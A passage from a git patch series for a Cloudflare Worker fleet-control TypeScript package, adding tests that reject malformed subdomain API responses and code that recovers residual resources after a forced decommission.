scriptPresent: true, + customDomains: [], + zoneRoutes: [], + ...flags, + }), + }); + await expect( + subject.assertSwitchTrafficRemoved({ + prior, + routeHostname: targetSpec.routeHostname, + }), + ).rejects.toThrow('public-access footprint is incomplete'); + }); + + it('accepts an absent Worker without flags in switch traffic proof', async () => { + const subject = provider({ + getHostRouting: async () => undefined, + listCustomDomains: async () => [], + inspectOrdinaryWorkerFootprint: async () => ({ + scriptPresent: false, + customDomains: [], + zoneRoutes: [], + }), + }); + await expect( + subject.assertSwitchTrafficRemoved({ + prior, + routeHostname: targetSpec.routeHostname, + }), + ).resolves.toBeUndefined(); + }); + it('requires HOSTS, every ordinary ingress surface, workers.dev, and previews to be absent', async () => { const subject = provider({ getHostRouting: async () => undefined, diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 14c2c7fa..782d189f 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -185,6 +185,274 @@ afterEach(() => { vi.restoreAllMocks(); }); +describe('CloudflareProvisioningClient subdomain ingress proof', () => { + function fixture(reply: () => Response, present = true) { + const world = providerWorld(); + world.seedScript('plain', { + present, + versions: [ + { + versionId: 'v1', + tag: undefined, + bindings: [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' }, + { + type: 'plain_text', + name: 'FLEET_ENVIRONMENT', + text: 'production', + }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '1' }, + ], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + }, + ], + deployment: [{ versionId: 'v1', percentage: 100 }], + subdomain: { enabled: true, previewsEnabled: true }, + }); + const project = restProjection(world); + const transport = recordingFetch((request) => { + const url = new URL(request.url); + if (request.method === 'GET' && url.pathname.endsWith('/subdomain')) + return reply(); + return zoneAuthorityResponse(url, []) ?? project(request); + }); + return { + client: plainClient({ fetch: transport.fetch }), + subdomainReads: () => + transport.requests.filter( + ({ method, url }) => + method === 'GET' && new URL(url).pathname.endsWith('/subdomain'), + ), + }; + } + + const readers = [ + { + name: 'footprint', + read: (client: CloudflareProvisioningClient) => + client.inspectOrdinaryWorkerFootprint('plain'), + }, + { + name: 'disable readback', + read: (client: CloudflareProvisioningClient) => + client.disableOrdinaryWorkerPublicAccess('plain', { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, + }), + }, + { + name: 'control inspection', + read: (client: CloudflareProvisioningClient) => + client.inspectControlWorker('plain'), + }, + ] as const; + const malformed = [ + { label: 'missing flags', reply: () => single({}) }, + { + label: 'missing enabled', + reply: () => single({ previews_enabled: false }), + }, + { + label: 'missing previews', + reply: () => single({ enabled: false }), + }, + { + label: 'null enabled', + reply: () => single({ enabled: null, previews_enabled: false }), + }, + { + label: 'numeric enabled', + reply: () => single({ enabled: 0, previews_enabled: false }), + }, + { + label: 'string enabled', + reply: () => single({ enabled: 'false', previews_enabled: false }), + }, + { + label: 'null previews', + reply: () => single({ enabled: false, previews_enabled: null }), + }, + { + label: 'string previews', + reply: () => single({ enabled: false, previews_enabled: 'false' }), + }, + { + label: 'numeric previews', + reply: () => single({ enabled: false, previews_enabled: 0 }), + }, + { + label: 'missing result', + reply: () => Response.json({ success: true }), + }, + { label: 'null result', reply: () => single(null) }, + { label: 'array result', reply: () => single([]) }, + { + label: 'failed envelope', + reply: () => + Response.json({ + success: false, + result: { enabled: false, previews_enabled: false }, + }), + }, + { + label: 'missing success', + reply: () => + Response.json({ result: { enabled: false, previews_enabled: false } }), + }, + { + label: 'error metadata', + reply: () => + Response.json({ + success: true, + errors: [{ code: 1000 }], + result: { enabled: false, previews_enabled: false }, + }), + }, + { + label: 'non-array errors', + reply: () => + Response.json({ + success: true, + errors: null, + result: { enabled: false, previews_enabled: false }, + }), + }, + { + label: 'non-JSON media', + reply: () => + new Response( + '{"success":true,"result":{"enabled":false,"previews_enabled":false}}', + { headers: { 'content-type': 'text/plain' } }, + ), + }, + { + label: 'partial success', + reply: () => + Response.json( + { + success: true, + result: { enabled: false, previews_enabled: false }, + }, + { status: 206 }, + ), + }, + ]; + + it.each( + readers.flatMap((reader) => + malformed.map((response) => ({ ...reader, ...response })), + ), + )('$name refuses $label', async ({ read, reply }) => { + const { client, subdomainReads } = fixture(reply); + await expect(read(client)).rejects.toThrow(); + expect(subdomainReads()).toHaveLength(1); + }); + + it.each([ + { enabled: false, previews_enabled: false }, + { enabled: true, previews_enabled: false }, + { enabled: false, previews_enabled: true }, + { enabled: true, previews_enabled: true }, + ])('preserves explicit ingress flags %j', async (flags) => { + const { client } = fixture(() => single(flags)); + const expected = { + workersDevEnabled: flags.enabled, + previewUrlsEnabled: flags.previews_enabled, + }; + await expect( + client.inspectOrdinaryWorkerFootprint('plain'), + ).resolves.toMatchObject({ + scriptPresent: true, + ...expected, + }); + await expect(client.inspectControlWorker('plain')).resolves.toMatchObject( + expected, + ); + const disabled = readers[1].read(client); + if (flags.enabled || flags.previews_enabled) + await expect(disabled).rejects.toThrow(); + else await expect(disabled).resolves.toBeUndefined(); + }); + + it.each(readers)('$name preserves a real subdomain 404', async ({ + name, + read, + }) => { + const { client, subdomainReads } = fixture(() => apiFailure(404)); + if (name === 'footprint') + await expect(read(client)).rejects.toMatchObject({ status: 404 }); + else await expect(read(client)).resolves.toBeUndefined(); + expect(subdomainReads()).toHaveLength(1); + }); + + it.each(readers)('$name preserves permission failure', async ({ read }) => { + const { client } = fixture(() => apiFailure(403)); + await expect(read(client)).rejects.toMatchObject({ status: 403 }); + }); + + it.each( + readers, + )('$name preserves an absent Worker without reading subdomain flags', async ({ + name, + read, + }) => { + const { client, subdomainReads } = fixture(() => { + throw new Error('absent Worker must not read subdomain flags'); + }, false); + if (name === 'footprint') + await expect(read(client)).resolves.toMatchObject({ + scriptPresent: false, + }); + else await expect(read(client)).resolves.toBeUndefined(); + expect(subdomainReads()).toEqual([]); + }); + + it.each([ + { label: 'missing flags', reply: () => single({}) }, + { label: 'missing result', reply: () => Response.json({ success: true }) }, + { + label: 'nonboolean flags', + reply: () => single({ enabled: 'false', previews_enabled: 0 }), + }, + { + label: 'failed envelope', + reply: () => + Response.json({ + success: false, + result: { enabled: false, previews_enabled: false }, + }), + }, + ])('R3 records unavailable detail for $label', async ({ reply }) => { + const { client, subdomainReads } = fixture(reply); + const inventory = await client.collectFleetInventory({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'plain', + includeDispatchNamespace: false, + }); + expect(subdomainReads().length).toBeGreaterThan(0); + expect(inventory.deployments).toEqual([]); + expect(inventory.findings).toContainEqual( + expect.objectContaining({ kind: 'incomplete-deployment' }), + ); + }); + + it('R3 retains an inventoried deployment with explicit disabled flags', async () => { + const { client } = fixture(() => + single({ enabled: false, previews_enabled: false }), + ); + const inventory = await client.collectFleetInventory({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'plain', + includeDispatchNamespace: false, + }); + expect(inventory.deployments).toMatchObject([ + { scriptName: 'plain', artifactVersion: 'v1' }, + ]); + expect(inventory.findings).toEqual([]); + }); +}); + describe('CloudflareProvisioningClient plain-worker plane', () => { it('a queued mutation asserts its own lease', async () => { const response = deferred(); diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 4d3dd58c..4ec9416a 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -1230,6 +1230,52 @@ const carrierScenarios = fenceModes.flatMap((mode) => [ ]); describe('PlainWorkerBackend mutation-fence carrier ordering', () => { + it.each([ + {}, + { workersDevEnabled: false }, + { previewUrlsEnabled: false }, + ])('refuses unknown present-Worker public access in normal and force proofs %#', async (flags) => { + const api = new PlainWorkerProvisioningApiFake(); + vi.spyOn(api, 'inspectOrdinaryWorkerFootprint').mockResolvedValue({ + scriptPresent: true, + customDomains: [], + zoneRoutes: [], + ...flags, + }); + vi.spyOn(api, 'disableOrdinaryWorkerPublicAccess').mockResolvedValue( + undefined, + ); + await expect(backend(api).assertTrafficRemoved(spec)).rejects.toThrow( + 'public-access footprint is incomplete', + ); + await expect( + backend(api).forceDecommissionStep( + fleetRecord(), + 'remove-traffic', + api.fence(), + ), + ).rejects.toThrow('public-access footprint is incomplete'); + }); + + it('accepts an absent Worker without subdomain flags in ingress proofs', async () => { + const api = new PlainWorkerProvisioningApiFake(); + vi.spyOn(api, 'inspectOrdinaryWorkerFootprint').mockResolvedValue({ + scriptPresent: false, + customDomains: [], + zoneRoutes: [], + }); + await expect( + backend(api).assertTrafficRemoved(spec), + ).resolves.toBeUndefined(); + await expect( + backend(api).forceDecommissionStep( + fleetRecord(), + 'remove-traffic', + api.fence(), + ), + ).resolves.toBeUndefined(); + }); + it.each( carrierScenarios, )('$scenario records exact ordering in $mode mode', async ({ @@ -1496,6 +1542,13 @@ describe('PlainWorkerBackend core-policy refusals', () => { const api = new PlainWorkerProvisioningApiFake(); api.scripts.add(spec.scriptName); deployedCandidate(api); + api.footprints.set(spec.scriptName, { + scriptPresent: true, + workersDevEnabled: false, + previewUrlsEnabled: false, + customDomains: [], + zoneRoutes: [], + }); api.onDeleteWorkerScript = () => { api.namespaces.set(spec.scriptName, ['residual-namespace']); }; From f593e660956d439dcfd3d076460a78c2a9269973 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 16:08:36 +0400 Subject: [PATCH 125/169] feat(fleet-control): recover witnessed force residuals --- .../complete-attachment-binding-identities.md | 5 + .../scripts/direct-reference-context.ts | 23 + .../scripts/direct-reference-contract.d.mts | 3 +- .../scripts/direct-reference-contract.mjs | 1 + .../scripts/direct-reference-force.ts | 620 +++++++++++++++-- .../scripts/direct-reference-worker.ts | 3 + .../src/cloudflare-worker-attachment-scan.ts | 20 +- .../test/direct-reference-contract.test.ts | 1 + ...direct-reference-lifecycle.harness.test.ts | 658 +++++++++++++++++- .../direct-reference-worker.harness.test.ts | 124 ++++ .../test/fixtures/direct-reference-harness.ts | 33 +- .../test/worker-attachment-scan.test.ts | 99 +++ 12 files changed, 1519 insertions(+), 71 deletions(-) create mode 100644 .changeset/complete-attachment-binding-identities.md diff --git a/.changeset/complete-attachment-binding-identities.md b/.changeset/complete-attachment-binding-identities.md new file mode 100644 index 00000000..a1dfe9ce --- /dev/null +++ b/.changeset/complete-attachment-binding-identities.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Refuse incomplete Worker binding metadata during D1 and R2 attachment scans so cleanup cannot mistake an unreadable attachment for an unused resource. diff --git a/packages/fleet-control/scripts/direct-reference-context.ts b/packages/fleet-control/scripts/direct-reference-context.ts index 6bbfab46..6c1cc639 100644 --- a/packages/fleet-control/scripts/direct-reference-context.ts +++ b/packages/fleet-control/scripts/direct-reference-context.ts @@ -73,6 +73,10 @@ export interface DirectReferenceContext { backend: CloudflareApiPlainWorkerBackend; }>; readonly recoveryClaimSetPresent: () => Promise; + readonly recoveryResidualClaimsPresent: ( + scriptName: string, + bucketNames: readonly string[], + ) => Promise; readonly headDecommissionExport: ( identity: DatabaseExportReceiptIdentity, expectedSize: number, @@ -432,6 +436,25 @@ export async function createDirectReferenceContext( if (row?.present !== 0 && row?.present !== 1) refused(); return row.present === 1; }, + async recoveryResidualClaimsPresent( + scriptName: string, + bucketNames: readonly string[], + ) { + transport.assertWithinBudget(); + const row = await environment.FLEET_DB.prepare( + "SELECT EXISTS(SELECT 1 FROM anchorage_platform_plane_claims WHERE account_id=? AND (resource_set_key=? OR (resource_type='worker-script' AND resource_name=?) OR (resource_type='r2-bucket' AND resource_name IN (SELECT value FROM json_each(?))))) AS present", + ) + .bind( + binding.accountId, + `deployment:${manifest.names.roles.recovery.tenantTag}:${manifest.environment}`, + scriptName, + JSON.stringify(bucketNames), + ) + .first<{ present: number }>(); + transport.assertWithinBudget(); + if (row?.present !== 0 && row?.present !== 1) refused(); + return row.present === 1; + }, roleFor, spec(role: DirectFixtureRole, release: DirectFixtureRelease) { return specs.get(role)?.get(release) ?? refused(); diff --git a/packages/fleet-control/scripts/direct-reference-contract.d.mts b/packages/fleet-control/scripts/direct-reference-contract.d.mts index 16a22bd6..c048704c 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.d.mts +++ b/packages/fleet-control/scripts/direct-reference-contract.d.mts @@ -29,7 +29,8 @@ export type DirectReferenceAction = | 'migration-start' | 'migration-abandon' | 'force-recovery' - | 'force-observe'; + | 'force-observe' + | 'recover-force-residual'; }> | Readonly<{ kind: 'provision'; role: DirectFixtureRole; release: 'initial' }> | Readonly<{ diff --git a/packages/fleet-control/scripts/direct-reference-contract.mjs b/packages/fleet-control/scripts/direct-reference-contract.mjs index f069b409..af8249b2 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.mjs +++ b/packages/fleet-control/scripts/direct-reference-contract.mjs @@ -54,6 +54,7 @@ function actionFromParsed(value) { case 'migration-abandon': case 'force-recovery': case 'force-observe': + case 'recover-force-residual': keys(value, ['kind']); break; case 'tenant-probe': diff --git a/packages/fleet-control/scripts/direct-reference-force.ts b/packages/fleet-control/scripts/direct-reference-force.ts index c4dce664..d48a2c74 100644 --- a/packages/fleet-control/scripts/direct-reference-force.ts +++ b/packages/fleet-control/scripts/direct-reference-force.ts @@ -2,10 +2,15 @@ import { createHash } from 'node:crypto'; import { + type ApplicationR2Binding, type CleanupTerminalReceipt, + type DatabaseReference, + type ExternalMutationFence, + type ExternalReleaseSnapshot, type FleetRecord, type FleetStateLease, forceDecommissionDeployment, + type R2Jurisdiction, } from '@proofoftech/fleet-control'; import { deploymentSpecDigest } from '@proofoftech/fleet-control/cloudflare-control-plane'; import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; @@ -45,6 +50,29 @@ function array(value: unknown): unknown[] { return value; } +function boolean(value: unknown): boolean { + if (typeof value !== 'boolean') throw new DirectReferenceJournalError(); + return value; +} + +function date(value: unknown): string { + const result = text(value); + if ( + !Number.isFinite(Date.parse(result)) || + new Date(result).toISOString() !== result + ) + throw new DirectReferenceJournalError(); + return result; +} + +function strings(value: unknown): string[] { + return [...new Set(array(value).map(text))].sort(); +} + +function compare(left: string, right: string): number { + return left < right ? -1 : left > right ? 1 : 0; +} + function forceResource(context: DirectReferenceContext, encoded: string) { const value = object(JSON.parse(encoded)); const database = object(value.database); @@ -57,46 +85,71 @@ function forceResource(context: DirectReferenceContext, encoded: string) { environment: spec.environment, scriptName: spec.scriptName, database: { name: spec.databaseName, id: text(database.id) }, - knownVersionIds: [ - ...new Set(array(value.knownVersionIds).map(text)), - ].sort(), - localNamespaces: array(value.localNamespaces).map((entry) => { - const binding = object(entry); - return { - name: text(binding.name), - className: text(binding.className), - namespaceId: text(binding.namespaceId), - }; - }), - applicationBuckets: array(value.applicationBuckets).map((entry) => { - const bucket = object(entry); - const jurisdiction = bucket.jurisdiction; - if ( - jurisdiction !== 'default' && - jurisdiction !== 'eu' && - jurisdiction !== 'fedramp' - ) - throw new DirectReferenceJournalError(); - const creationDate = text(bucket.creationDate); - if ( - !Number.isFinite(Date.parse(creationDate)) || - new Date(creationDate).toISOString() !== creationDate - ) - throw new DirectReferenceJournalError(); - return { - name: text(bucket.name), - bucketName: text(bucket.bucketName), - jurisdiction, - reservationNonce: text(bucket.reservationNonce), - creationDate, - }; - }), + knownVersionIds: strings(value.knownVersionIds), + localNamespaces: array(value.localNamespaces) + .map((entry) => { + const binding = object(entry); + return { + name: text(binding.name), + className: text(binding.className), + namespaceId: text(binding.namespaceId), + }; + }) + .sort((left, right) => compare(left.name, right.name)), + applicationBuckets: array(value.applicationBuckets) + .map((entry) => { + const bucket = object(entry); + const jurisdiction = bucket.jurisdiction; + if ( + jurisdiction !== 'default' && + jurisdiction !== 'eu' && + jurisdiction !== 'fedramp' + ) + throw new DirectReferenceJournalError(); + return { + name: text(bucket.name), + bucketName: text(bucket.bucketName), + jurisdiction, + reservationNonce: text(bucket.reservationNonce), + creationDate: date(bucket.creationDate), + } satisfies DirectResourceIdentity['applicationBuckets'][number]; + }) + .sort((left, right) => compare(left.name, right.name)), } satisfies DirectResourceIdentity; if ( JSON.stringify(identity) !== encoded || identity.database.id.startsWith('reserved-') || identity.knownVersionIds.length === 0 || - identity.knownVersionIds.includes('pending') + identity.knownVersionIds.includes('pending') || + new Set(identity.localNamespaces.map((binding) => binding.namespaceId)) + .size !== identity.localNamespaces.length || + new Set(identity.applicationBuckets.map((bucket) => bucket.bucketName)) + .size !== identity.applicationBuckets.length || + JSON.stringify( + identity.localNamespaces.map(({ name, className }) => ({ + name, + className, + })), + ) !== + JSON.stringify( + spec.durableObjectBindings + .map(({ name, className }) => ({ name, className })) + .sort((left, right) => compare(left.name, right.name)), + ) || + JSON.stringify( + identity.applicationBuckets.map(({ name, jurisdiction }) => ({ + name, + jurisdiction, + })), + ) !== + JSON.stringify( + (spec.application?.r2Buckets ?? []) + .map(({ name, jurisdiction }) => ({ + name, + jurisdiction: jurisdiction ?? 'default', + })) + .sort((left, right) => compare(left.name, right.name)), + ) ) throw new DirectReferenceJournalError(); return identity; @@ -302,27 +355,196 @@ export async function recoverDirectForce( }; } -export async function observeDirectForce(context: DirectReferenceContext) { - context.transport.assertWithinBudget(); - const before = await readBefore(context); - if (!before) - throw new DirectReferenceJournalError('prerequisite-unavailable'); - const retained = await context.journal.readForceAfter(); - if (retained) { - const observation = object(JSON.parse(retained.identityJson)); - if ( - observation.version !== 1 || - observation.role !== 'recovery' || - observation.beforeIdentitySha256 !== before.identity.beforeIdentitySha256 - ) +type ForceBefore = NonNullable>>; +type ForceResource = ReturnType; +type ForcePlane = ReturnType; + +interface DirectForceFootprint { + readonly version: 1; + readonly role: 'recovery'; + readonly beforeIdentitySha256: string; + readonly fleetRecordPresent: boolean; + readonly deploymentClaimsPresent: boolean; + readonly database: Readonly<{ + id: string; + expectedName: string; + observedName: string | null; + }>; + readonly worker: Readonly<{ + scriptName: string; + scriptPresent: boolean; + workersDevEnabled: boolean | null; + previewUrlsEnabled: boolean | null; + customDomains: readonly Readonly<{ + id: string; + hostname: string; + service: string; + }>[]; + zoneRoutes: readonly Readonly<{ + zoneId: string; + routeId: string; + pattern: string; + }>[]; + currentSecretNames: readonly string[]; + currentVersionIds: readonly string[] | null; + currentNamespaceIds: readonly string[]; + survivingRecordedNamespaceIds: readonly string[]; + }>; + readonly buckets: readonly Readonly<{ + bindingName: string; + bucketName: string; + jurisdiction: R2Jurisdiction; + expectedCreationDate: string; + observedCreationDate: string | null; + }>[]; + readonly priorCleanup: Readonly<{ + operationId: string; + observedReceiptSha256: string | null; + matchesBefore: boolean; + }>; +} + +type DirectForceReading = Readonly<{ + observation: DirectForceFootprint; + provenance: Readonly<{ startedAtMs: number; completedAtMs: number }>; +}>; + +function decodeForceFootprint( + encoded: string, + before: ForceBefore, + resource: ForceResource, +): DirectForceFootprint { + const value = object(JSON.parse(encoded)); + const database = object(value.database); + const worker = object(value.worker); + const buckets = array(value.buckets); + const priorCleanup = object(value.priorCleanup); + const observation: DirectForceFootprint = { + version: 1, + role: 'recovery', + beforeIdentitySha256: before.identity.beforeIdentitySha256, + fleetRecordPresent: boolean(value.fleetRecordPresent), + deploymentClaimsPresent: boolean(value.deploymentClaimsPresent), + database: { + id: resource.database.id, + expectedName: resource.database.name, + observedName: + database.observedName === null ? null : text(database.observedName), + }, + worker: { + scriptName: resource.scriptName, + scriptPresent: boolean(worker.scriptPresent), + workersDevEnabled: + worker.workersDevEnabled === null + ? null + : boolean(worker.workersDevEnabled), + previewUrlsEnabled: + worker.previewUrlsEnabled === null + ? null + : boolean(worker.previewUrlsEnabled), + customDomains: array(worker.customDomains) + .map((entry) => { + const domain = object(entry); + return { + id: text(domain.id), + hostname: text(domain.hostname), + service: text(domain.service), + }; + }) + .sort((left, right) => left.id.localeCompare(right.id)), + zoneRoutes: array(worker.zoneRoutes) + .map((entry) => { + const route = object(entry); + return { + zoneId: text(route.zoneId), + routeId: text(route.routeId), + pattern: text(route.pattern), + }; + }) + .sort( + (left, right) => + left.zoneId.localeCompare(right.zoneId) || + left.routeId.localeCompare(right.routeId), + ), + currentSecretNames: strings(worker.currentSecretNames), + currentVersionIds: + worker.currentVersionIds === null + ? null + : strings(worker.currentVersionIds), + currentNamespaceIds: strings(worker.currentNamespaceIds), + survivingRecordedNamespaceIds: strings( + worker.survivingRecordedNamespaceIds, + ), + }, + buckets: resource.applicationBuckets.map((bucket, index) => { + const observed = object(buckets[index]); + return { + bindingName: bucket.name, + bucketName: bucket.bucketName, + jurisdiction: bucket.jurisdiction, + expectedCreationDate: bucket.creationDate, + observedCreationDate: + observed.observedCreationDate === null + ? null + : date(observed.observedCreationDate), + }; + }), + priorCleanup: { + operationId: before.identity.priorCleanup.operationId, + observedReceiptSha256: + priorCleanup.observedReceiptSha256 === null + ? null + : digest(priorCleanup.observedReceiptSha256), + matchesBefore: boolean(priorCleanup.matchesBefore), + }, + }; + if ( + JSON.stringify(observation) !== encoded || + new Set(observation.worker.customDomains.map((domain) => domain.id)) + .size !== observation.worker.customDomains.length || + new Set( + observation.worker.zoneRoutes.map((route) => + JSON.stringify([route.zoneId, route.routeId]), + ), + ).size !== observation.worker.zoneRoutes.length || + observation.worker.currentVersionIds?.includes('pending') || + observation.priorCleanup.matchesBefore !== + (observation.priorCleanup.observedReceiptSha256 === + before.identity.priorCleanup.receiptSha256) + ) + throw new DirectReferenceJournalError(); + return observation; +} + +function decodeForceProvenance( + encoded: string, +): DirectForceReading['provenance'] { + const value = object(JSON.parse(encoded)); + const milliseconds = (input: unknown): number => { + if (typeof input !== 'number' || !Number.isSafeInteger(input) || input < 0) throw new DirectReferenceJournalError(); - return { - observation, - provenance: object(JSON.parse(retained.provenanceJson)), - }; - } - const resource = forceResource(context, before.resource.identityJson); - const { client } = context.createForcePlane(); + return input; + }; + const provenance = { + startedAtMs: milliseconds(value.startedAtMs), + completedAtMs: milliseconds(value.completedAtMs), + }; + if (JSON.stringify(provenance) !== encoded) + throw new DirectReferenceJournalError(); + return provenance; +} + +async function readForceFootprint( + context: Pick< + DirectReferenceContext, + 'transport' | 'recoveryClaimSetPresent' + >, + before: ForceBefore, + resource: ForceResource, + plane: Pick, +): Promise { + context.transport.assertWithinBudget(); + const { client, store } = plane; const startedAtMs = Date.now(); const reads = await Promise.allSettled([ client.getDatabase(resource.database.id), @@ -333,11 +555,9 @@ export async function observeDirectForce(context: DirectReferenceContext) { client.existingDurableObjectNamespaceIds( resource.localNamespaces.map((binding) => binding.namespaceId), ), - context.control.getDeployment(resource.tenantTag, resource.environment), + store.get(resource.tenantTag, resource.environment), context.recoveryClaimSetPresent(), - context.control.readCleanupReceipt( - before.identity.priorCleanup.operationId, - ), + store.readCleanupReceipt(before.identity.priorCleanup.operationId), Promise.allSettled( resource.applicationBuckets.map((bucket) => client.getR2Bucket(bucket.bucketName, bucket.jurisdiction), @@ -358,7 +578,7 @@ export async function observeDirectForce(context: DirectReferenceContext) { const receipt = fulfilled(reads[8]); const bucketReads = fulfilled(reads[9]); const observedReceiptSha256 = receipt ? receiptDigest(receipt) : null; - const observation = { + const observation: DirectForceFootprint = { version: 1, role: 'recovery', beforeIdentitySha256: before.identity.beforeIdentitySha256, @@ -410,7 +630,7 @@ export async function observeDirectForce(context: DirectReferenceContext) { bucketName: bucket.bucketName, jurisdiction: bucket.jurisdiction, expectedCreationDate: bucket.creationDate, - observedCreationDate: observed ? text(observed.creationDate) : null, + observedCreationDate: observed ? date(observed.creationDate) : null, }; }), priorCleanup: { @@ -420,13 +640,279 @@ export async function observeDirectForce(context: DirectReferenceContext) { observedReceiptSha256 === before.identity.priorCleanup.receiptSha256, }, }; - const stored = await context.journal.recordForceAfter( - JSON.stringify(observation), - JSON.stringify({ startedAtMs, completedAtMs: Date.now() }), - ); context.transport.assertWithinBudget(); return { - observation: object(JSON.parse(stored.identityJson)), - provenance: object(JSON.parse(stored.provenanceJson)), + observation: decodeForceFootprint( + JSON.stringify(observation), + before, + resource, + ), + provenance: decodeForceProvenance( + JSON.stringify({ startedAtMs, completedAtMs: Date.now() }), + ), }; } + +export async function observeDirectForce(context: DirectReferenceContext) { + context.transport.assertWithinBudget(); + const before = await readBefore(context); + if (!before) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const resource = forceResource(context, before.resource.identityJson); + let stored = await context.journal.readForceAfter(); + if (!stored) { + const reading = await readForceFootprint( + context, + before, + resource, + context.createForcePlane(), + ); + stored = await context.journal.recordForceAfter( + JSON.stringify(reading.observation), + JSON.stringify(reading.provenance), + ); + } + const result = { + observation: decodeForceFootprint(stored.identityJson, before, resource), + provenance: decodeForceProvenance(stored.provenanceJson), + }; + context.transport.assertWithinBudget(); + return result; +} + +function assertForceRecoveryState(observation: DirectForceFootprint): void { + const { worker } = observation; + if ( + observation.fleetRecordPresent || + observation.deploymentClaimsPresent || + observation.database.observedName !== null || + !observation.priorCleanup.matchesBefore || + worker.customDomains.length > 0 || + worker.zoneRoutes.length > 0 || + worker.currentSecretNames.length > 0 || + (worker.scriptPresent + ? worker.workersDevEnabled !== false || + worker.previewUrlsEnabled !== false + : worker.workersDevEnabled === true || + worker.previewUrlsEnabled === true) || + observation.buckets.some( + (bucket) => + bucket.observedCreationDate !== null && + bucket.observedCreationDate !== bucket.expectedCreationDate, + ) + ) + throw new DirectReferenceExecutionError(); +} + +function assertRetainedForceWorker( + observation: DirectForceFootprint, + resource: ForceResource, +): void { + const { worker } = observation; + const namespaces = resource.localNamespaces + .map((binding) => binding.namespaceId) + .sort(); + if ( + !worker.scriptPresent || + !worker.currentVersionIds?.length || + !resource.knownVersionIds.some((id) => + worker.currentVersionIds?.includes(id), + ) || + JSON.stringify(worker.currentNamespaceIds) !== JSON.stringify(namespaces) || + JSON.stringify(worker.survivingRecordedNamespaceIds) !== + JSON.stringify(namespaces) || + observation.buckets.some( + (bucket) => bucket.observedCreationDate !== bucket.expectedCreationDate, + ) + ) + throw new DirectReferenceExecutionError(); +} + +function assertForceWorkerAbsent(observation: DirectForceFootprint): void { + const { worker } = observation; + if ( + worker.scriptPresent || + (worker.currentVersionIds?.length ?? 0) > 0 || + worker.currentNamespaceIds.length > 0 || + worker.survivingRecordedNamespaceIds.length > 0 + ) + throw new DirectReferenceExecutionError(); +} + +async function assertForceAttachments( + plane: Pick, + resource: ForceResource, + allowRetainedWorker: boolean, +): Promise { + const reads = await Promise.allSettled([ + plane.client.listWorkerDatabaseAttachments(resource.database.id), + ...resource.applicationBuckets.map((bucket) => + plane.client.listWorkerR2Attachments(bucket.bucketName), + ), + ]); + for (const read of reads) { + if ( + fulfilled(read).some( + (attachment) => + !allowRetainedWorker || + attachment.plane !== 'ordinary' || + attachment.scriptName !== resource.scriptName || + attachment.dispatchNamespace !== undefined, + ) + ) + throw new DirectReferenceExecutionError(); + } +} + +export async function recoverDirectForceResidual( + context: DirectReferenceContext, +) { + context.transport.assertWithinBudget(); + const spec = context.spec('recovery', 'initial'); + const plane = context.createForcePlane(); + return plane.store.withDeploymentLease( + spec.tenantTag, + spec.environment, + async (lease) => { + await lease.assertOwned(); + const before = await readBefore(context); + if (!before) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const resource = forceResource(context, before.resource.identityJson); + const buckets: ApplicationR2Binding[] = resource.applicationBuckets.map( + ({ name, bucketName, jurisdiction, creationDate }) => ({ + name, + bucketName, + jurisdiction, + creationDate, + }), + ); + const fence: ExternalMutationFence = { + mutationLeaseTtlMs: lease.mutationLeaseTtlMs, + async assertOwned() { + await lease.assertOwned(); + context.transport.assertWithinBudget(); + const reads = await Promise.allSettled([ + plane.store.get(resource.tenantTag, resource.environment), + context.recoveryResidualClaimsPresent( + resource.scriptName, + buckets.map((bucket) => bucket.bucketName), + ), + ] as const); + if (fulfilled(reads[0]) || fulfilled(reads[1])) + throw new DirectReferenceExecutionError(); + await lease.assertOwned(); + context.transport.assertWithinBudget(); + }, + }; + return plane.client.withMutationFence(fence, async () => { + await fence.assertOwned(); + const retained = await context.journal.readForceAfter(); + if (!retained) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const initial = decodeForceFootprint( + retained.identityJson, + before, + resource, + ); + decodeForceProvenance(retained.provenanceJson); + assertForceRecoveryState(initial); + assertRetainedForceWorker(initial, resource); + const current = await readForceFootprint( + context, + before, + resource, + plane, + ); + assertForceRecoveryState(current.observation); + if (current.observation.worker.scriptPresent) { + assertRetainedForceWorker(current.observation, resource); + if ( + JSON.stringify(current.observation.worker.currentVersionIds) !== + JSON.stringify(initial.worker.currentVersionIds) + ) + throw new DirectReferenceExecutionError(); + } else { + assertForceWorkerAbsent(current.observation); + } + await assertForceAttachments( + plane, + resource, + current.observation.worker.scriptPresent, + ); + const emptyReads = await Promise.allSettled( + buckets.map((bucket, index) => + current.observation.buckets[index]?.observedCreationDate === null + ? Promise.resolve() + : plane.backend.assertApplicationR2Empty(bucket, fence), + ), + ); + for (const read of emptyReads) fulfilled(read); + const database: DatabaseReference = { + id: resource.database.id, + name: resource.database.name, + created: false, + }; + const releases: ExternalReleaseSnapshot[] = + resource.knownVersionIds.map((artifactVersion) => ({ + physicalScriptName: resource.scriptName, + specDigest: deploymentSpecDigest(spec), + releaseSchemaVersion: spec.schemaVersion, + artifactVersion, + })); + await fence.assertOwned(); + await plane.backend.deleteWorker( + spec, + releases.slice(1), + database, + releases[0], + fence, + ); + const afterWorker = await readForceFootprint( + context, + before, + resource, + plane, + ); + assertForceRecoveryState(afterWorker.observation); + assertForceWorkerAbsent(afterWorker.observation); + for 